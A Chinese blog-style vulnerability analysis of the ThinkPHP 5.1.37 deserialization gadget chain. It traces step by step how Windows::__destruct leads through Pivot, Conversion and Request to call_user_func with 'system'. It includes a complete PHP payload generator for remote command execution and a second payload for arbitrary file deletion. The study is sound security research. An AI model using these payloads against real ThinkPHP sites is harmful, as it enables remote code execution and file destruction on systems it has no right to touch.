前言:

最近开始审计thinkphp的一些漏洞,理解其原理,加深对框架工作模式的认知。由于在CTF中了解一些反序列化的基本知识以及基本原理,但是没有分析过一条真正意义上的反序列化链,这次直接上手thinkphp的反序列化链开头也比较困难,不过在用了差不多一周的时间反反复复研究也差不多看懂了这条链,在学习网上大师父们的思路后自己也有了一些新的理解,遂记录。

复现环境:

thinkphp5.1.37,windows10

0X01:基础配置

总所周知反序列化漏洞的触发的基础来自于php自带的魔法函数,这一类函数他们非常具有特点。特点就在于当对象被执行特定操作时就会触发。在本次pop链中使用到的魔法函数有

1
2
3
4
__construct()在对象被实例化时调用
__destruct()在对象被销毁时调用
__toString()在对象被当作字符串处理的时候调用
__call()在调用对象不存在的方法的时候调用

要开始pop链的分析,必须要添加一个入口,unserialize()函数会将我们的序列化数据还原,从而开始pop链的执行。我在index模块的index控制器下增加了如下代码

用一个payload参数来接收我们的序列化数据,这里将payload先加密在解密的原因是因为直接传输需要进行url编码,这样处理后就不用url编码了,很方便。

至此,我们打通了一个能够进行反序列化的通道,开始pop链的分析之旅

0X02:入口

Payload:

为了更方便我们进行整个链的分析,我将payload先放出来,以方便观察利用链中的可控参数变化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Mengd@"=>['bcc', 'bcc']];
$this->data = ["Mengd@"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "";
protected $config = [];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'Mengd@'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

Go!

construct()和destruct()永远是我们优先考虑的对象,因为他们是必然触发的。在对象被实例化的时候触发construct(),在对象被销毁的时候调用destruct()。

而本次序列化的入口来自thinkphp/library/think/proccess/pipes/Windows.php,在代码的第56行有一个destruct函数

在windows类被销毁时会调用两个方法,close(),removeFiles()

0X03:POP链上的任意文件删除

跟进close()没有发现往下走的可能

跟进removeFiles()我们发现代码是这样子的

这个地方首先遍历了一下$this->files,这里的$this->files是我们可控的,那么$filename也是我们可控的。然后此处就存在任意文件删除,只要我控制$this->files为文件路径,那么就可以删除这个文件。我们进行尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace think\process\pipes;
use think\Process;
class Windows
{
private $files=[];
public function __construct()
{
$this->files=["D:\phpStudy\PHPTutorial\\1.txt"];
}
}
$a = new Windows();
echo base64_encode(serialize($a));

将payload打过去过后对应目录下的1.txt消失,任意文件删除成功。

image-20210410162356405

这只是在审计这个链开头遇到的一个小意外,我们还没开始进入真正的pop链分析呢

0X04:整个链的分析

回到刚才,在文件删除的时候会先调用file_exists来判断文件是否存在,而正是这个函数给我我们提供了往下走的可能。

查看官方文档对file_exists函数的描述:

官方文档很明确的告诉我们,file_exists需要的是一个字符串类型的数据,也就是说file_exists会将传入他的数据当作字符串进行解析。到这我们自然便会联想到__toString()魔术方法,当一个对象被当作字符串解析的时候便会调用toString()那么,而这里的filename又是我们完全可控的,所以我们就能够通过控制filename的值为一个对象来实现调用任意类的toString()方法。

全局搜索__toString()方法,在Conversion.php中发现toString方法中调用了toJson(),可是我们这个Conversion类是一个trait

什么是trait呢?trait是php的一个特性,简单的来说,可以通过use关键字来组合不同的trait以解决PHP无法同时从两个基类中继承属性和方法的问题,trait是不可被实例化的

要想出发到Conversion.php中的toString方法,我们必须要找到use了他的类,经过我们寻找,

在Model.php中一个抽象类Model中use了Conversion可是Model类是一个抽象类呀,抽象类是不可以被实例化的。所以我们继续寻找继承了Model类的子类,终于,我们在Pivot.php中找到了一个Pivot类,它继承自Model类

现在类找到了,只要我们将$filename变为Pivot类的实例化对象,那么就会运行到Conversion的toString()方法,达到我们的目的。

现在我们接着分析Conversion。

来到Conversion的toString方法如下:

调用了toJson()方法,我们继续跟进toJson方法:

toJson方法调用了toArray方法,继续跟进,toArray是我们重点分析对象,该方法代码块内容较长,只列出了重点分析的段落,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    public function toArray()
{

........部分源码被省略,利用连重点在如下部分。

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
echo ("append第一次的值为:");
var_dump($this->append);
echo ("<br>");

foreach ($this->append as $key => $name) {

echo ('key为:');
var_dump($key);
echo ("<br>");
echo ('name为:');
var_dump($name);
echo ("<br>");

if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
// echo "relation为:";
// var_dump($relation);
$relation->visible($name);
}

$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible([$attr]);
}

$item[$key] = $relation->append([$attr])->toArray();
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

可以看到在这个地方我在多出打印出了key,name,relation的值,他们在整个利用链中至关重要,也在无时无刻发生变化,需要重点关注。接下来我们来进行分析。

1.toArray()中的$this->append

首先,一开始就对$this->append进行了循环,$this->append是我们在payload中的可控参数,他的值为[“Mengd@”=>[‘bcc’, ‘bcc’]]他是一个拥有一个键名为Mengd@键值为[‘bcc’,’bcc’]数组的二维数组。经过第一个foreach后$key的值为Mengd@,$name的值为[‘bcc’,’bcc’]。

2.toArray()中的$this->getRelation($key)

在刚刚从$this->append中取出$key为Mengd@后,再经过一次if判断$name是否为数组:

紧接着便带着这个数据进入了,$this->getRelation($key),这里面的代码为:

可以看见,传入的$key不为空,所以getRelation中的$name也不为空,if条件中为假,由于relation此时没有值,elseif也无法触发,直接return返回null,此时,$relation为null

3.toArray()中的$this->getAttr($key)

刚刚经过经过了getReation(),此时的$relation为空,紧接着便调用了$relation=$this->getAttr($key),代码如下:

此段代码也很长,我将其简化成如下格式,在尝试执行$value=$this->$this->getData($name)(此时的$name等于传入的$key等于Mengd@)后,经过一些列省略号的操作便返回了$value,那其中$this->data()变成了我们主要关注的对象,我们跟进getData($name)一探究竟。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

............

return $value;
}

4.Attribute中的getData

刚刚调用到getData($name),代码如下:

此时$name为Mengd@,$this->data=[“Mengd@”=>new Request()],触发第二个if语句,直接返回$this->data[$name],

那么$value=$this->data[$name],因为$this->data,$name都是我们可控的,所以$value可控进而$relation可控,此时$relation的值为Request()对象。

5.寻找RCE的足迹

刚刚提到我们可以通过控制$this->data,$name进而起到控制$relation的作用。紧接着我们就要调用$relation->visible($name)方法了,前面提到了__call魔术方法,当对象调用不存在的方法的时候会自动调用,这里我们可以控制$relation为任意值了,那么有没有那个对象的visable方法或者哪个对象的call魔术方法存在rce的可能呢?前者没有希望,那我们考虑下后者。通过全局搜索call魔术方法,我们发现在Requests.php的Requests类中存在一个call魔术方法,他是这样写的:

这里的$method我们不可控,值为visable,$this->hook是可控的,于是我们就产生了个想法,如果在这个地方控制$this->hook的值为

[‘visable’=>’system’]那么这里的函数就变成了call_user_func_array(‘system’,$args),这里的$args就是Conversion中的$name,而它的值为[‘bcc’,’bcc’],是我们可控的。可是在调用call_user_func_array之前我还调用了array_unshift($this,$this)他将$this放到了$args的最前面,所以$args就变成了[‘$this’,’bcc’,’bcc’]无法实现RCE。

6.利用call里面的call_user_func_array作为跳板,寻找新的链

虽然在call当中不能直接执行rce,但是$this->hook[$method]是我们完全可控的,我们可以控制他为一个新的方法,绕过$args,寻找新的RCE出发点。在Request类中,搜索危险函数,一个函数引起来的我的注意,filterValue()他的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
echo "filter为:".$filter."<br>";
echo "value为:".$value;
//最终触发RCE的点,但因为其都不可控,通过别的方法间接触发
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

我们可以看到这里存在一行代码,$value = call_user_func($filter,$value)乍一看过去我们没有可以控制的参数,但是我们可以通过寻找调用filterValue()的其他方法来间接调用filterValue(),如果可以通过他们控制参数,那便可以实现RCE。

7.filterValue()的调用链

通过全局搜索filterValue,我发现Rquest中的input()方法调用过他,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

我们可以发现这里的$data,$name,$filter也没有控制的机会,继续往上寻找调用input()的类,全局搜索input,Request类中的

param方法调用了input(),代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}
//此时的$this->param是一个数组,键名为get参数传参的变量名,键值为传参值。
return $this->input($this->param, $name, $default, $filter);
}

param里面也没有发现可控参数,全局搜索param,发现Requests类中的isAjax函数调用了他,于是我们来到isAjax一探究竟,源码如下:

我们可以发现调用param方法的时候传入的参数是$this->config[‘var_ajax’]这是我们可以控制的参数!他对应在param中的值就是

$name,让我们回到param方法最底部的**return $this->input($this->param,$name,$default,$filter)**,这里的$this->param是通过get传过去的所有参数,以参数名为键名参数值为键值所组成的一个数组。$name为我们的可控变量,$default为NULL,$filter为’’

带着这些数据我们进入了input方法,在input方法中存在这样一段代码:

1
2
3
4
5
6
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);

此时的$data的值为getData的返回值,我们带着$data,$name进入getData方法

1
2
3
4
5
6
7
8
9
10
11
12
13
protected function getData(array $data, $name)
{
//这里的name为Mengd@,val为Mengd@
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

可以看到,首先$name是我们可控的所以$val也是我们可控的,这里的$data形式为

[‘mengd@’=>get传参的数据,’payload’=>get传参的payload]

而又因为会取出$val对应键值的数据存入$data,$val我们又可控。所以这个地方$data就变成了我们可控的数据,在传参时参数名为Mengd@的数据就会保存金$data,对应我们的payload,此时$data的值为calc

然后进入到input方法中的**$filter = $this->getFilter($filter, $default)**语句,代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {

//$this->filter可控,为system
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

可以看到这里的$filter是我们可控的数据,所以$filter为payload中的system,然后$filter[]被赋值$default,$default为null,所以$filter为[‘system’,null]

至此,带着数据$data为calc,$name为Mengd@,$filter为[‘system’,null]进入最终的filterValue()函数,执行call_user_func($filter,$data),最终触发命令执行,至此,整个利用链分析完毕。

8.最终利用链:

9.成功命令执行